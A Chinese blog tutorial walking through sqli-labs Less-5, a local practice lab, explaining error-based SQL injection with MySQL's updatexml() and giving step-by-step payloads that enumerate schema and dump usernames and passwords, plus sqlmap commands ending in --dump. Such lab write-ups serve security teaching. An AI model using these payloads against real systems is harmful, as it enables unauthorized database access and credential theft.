1. 思路🚀
本關的SQL語句為:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入類型:字符串型(單引號包裹)
- 提示:參數id需以
'
閉合
但有意思的是,php
代碼的輸出語句不是如下這種,這就導致無法像常規一樣回顯!
if($row)
{echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
而是如下的代碼:
if($row)
{echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";
}
對于很多注入出現無回顯的情況,其原因可能是SQL語句查詢方式的問題導致,這就需要用到盲注的手段,常用的有:
- 布爾盲注:邏輯判斷
- 時間盲注:延時判斷
- 報錯盲注:報錯回顯(本關卡解決方法)?
2. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-5/
,只需要將下面的sql語句粘貼即可。
2.1. 正常請求?
?id=1
說明:測試回顯情況
2.2. 判斷字段數?
?id=1' order by 4 --+
order by 4
:探測字段數(報錯說明字段數=3)
2.3. 確定回顯位?
?id=1' and updatexml(1,(select database()),3) --+
updatexml
是 MySQL 的一個 XML 處理函數,但它常被用于 報錯注入(Error-Based Blind SQL Injection),因為它會在 XPath 解析錯誤時返回錯誤信息,從而泄露數據。
2.3.1 為什么是這種寫法updatexml(1,(select database()),3) ?
想必會有疑惑,為什么下面的3種寫法,只使用第1種:
?id=1' and updatexml(1,(select database()),3) --+
?id=1' and updatexml(1,2,(select database())) --+
?id=1' and updatexml((select database()),2,3) --+
這就要從函數updatexml()
自身入手,它的3個參數為:
updatexml(XML_document, XPath_expression, new_value)
參數 | 數據類型 | 作用 | 在注入中的用途 |
---|---|---|---|
1. XML_document | XML 字符串 | 要修改的 XML 文檔 | 通常設為 1 或任意值(無實際作用 ) |
2. XPath_expression | XPath 字符串 | 用于定位 XML 節點的路徑 | 關鍵參數:構造非法 XPath 觸發報錯 |
3. new_value | XML 字符串 | 替換匹配節點的值 | 通常設為 1 或任意值(無實際作用 ) |
這就是為什么只有將(select database())
放在第2個位置才會起中用,因為放到其他位置不會觸發,起不了作用。
2.3.2 聯合查詢注入中id=-1 ,而報錯盲注中id=1?
我們來對比一下,聯合查詢注入和報錯注入的不同處:
?id=-1' union select 1,database(),user() --+?id=1' and updatexml(1,(select database()),3) --+
這是工作機制上的區別:
- 聯合查詢注入要求 前一個查詢返回空結果,才能讓后續的
union
查詢結果顯示出來。如果前一個查詢有結果(如id=1
存在),數據庫會優先顯示它的結果,而union
部分的數據會被忽略。 - 報錯注入依賴 SQL 語句執行并觸發錯誤,所以 前面的條件必須為真,否則整個語句不會執行。如果
id=-1
不存在,and
后面的updatexml
就不會執行,也就不會報錯。
2.4. 獲取基礎信息
?id=1' and updatexml(1,concat(1,(select database())),3) --+
2.4.1 updatexml函數的報錯機制是什么?
-
updatexml
的報錯機制:updatexml()
在解析錯誤的 XPath 時,會返回 第一個非法字符開始的部分字符串。- 當
concat(1, (select database()))
生成"1security"
時:1
是合法的 XPath 數字(不會觸發報錯)。s
(security
的第一個字母)是非法 XPath 字符,所以報錯從s
開始截取。
-
為什么
1
沒有顯示:1
是合法的 XPath 數字,不會觸發報錯,所以被忽略。- 報錯信息 只顯示第一個非法位置之后的內容(即
security
)。
-
為什么推薦
0x7e
(~
)?
3.1. 確保觸發報錯:~
不是合法 XPath 字符,能強制從開頭報錯。
3.2. 完整顯示數據:避免因前導數字/字母被忽略而丟失信息(如你的1
被跳過)。
3.3. 標準化注入:安全研究人員普遍使用0x7e
,讓報錯信息更統一。
完整的輸出,可以改用:?id=1' and updatexml(1, concat(0x7e,(select database()),0x7e), 3) --+
報錯會顯示:
XPATH syntax error: '~security~'
2.5. 獲取表名?
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+
2.6. 獲取字段?
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+
2.7. 獲取數據?
?id=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+
因為updatexml()
函數最多顯示32位數據,建議使用concat()
搭配limit + offset
使用,例如limit n,1
,n為起始位置。
2.8. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
' | 閉合符號 | id=1' |
--+ | 注釋符 | --+ |
order by | 判斷字段數 | order by 4 |
updatexml() | 報錯注入函數 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函數 | concat('a','b') 或 concat(1,(select database())) |
group_concat() | 合并結果 | group_concat(table_name) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. SQLMap工具測試🎯
url
地址換成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-5/?id=1
# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-5/?id=1" --batch# 爆數據庫
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截圖:
命令5截圖:
SQLMap參數表?
參數 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚舉數據庫 |
-D | 指定數據庫 |
-T | 指定表 |
-C | 指定列 |
--dump | 導出數據 |
4. 總結🏁
本文是關于報錯盲注的介紹與解析,內容詳細,記錄了我對于一些報錯盲注知識的認識。
如有不懂,關卡1的解析更為詳細(更為基礎),相信你會有收獲,sqli-labs:Less-1關卡詳細解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209
聲明:本文僅用于安全學習,嚴禁非法測試! ???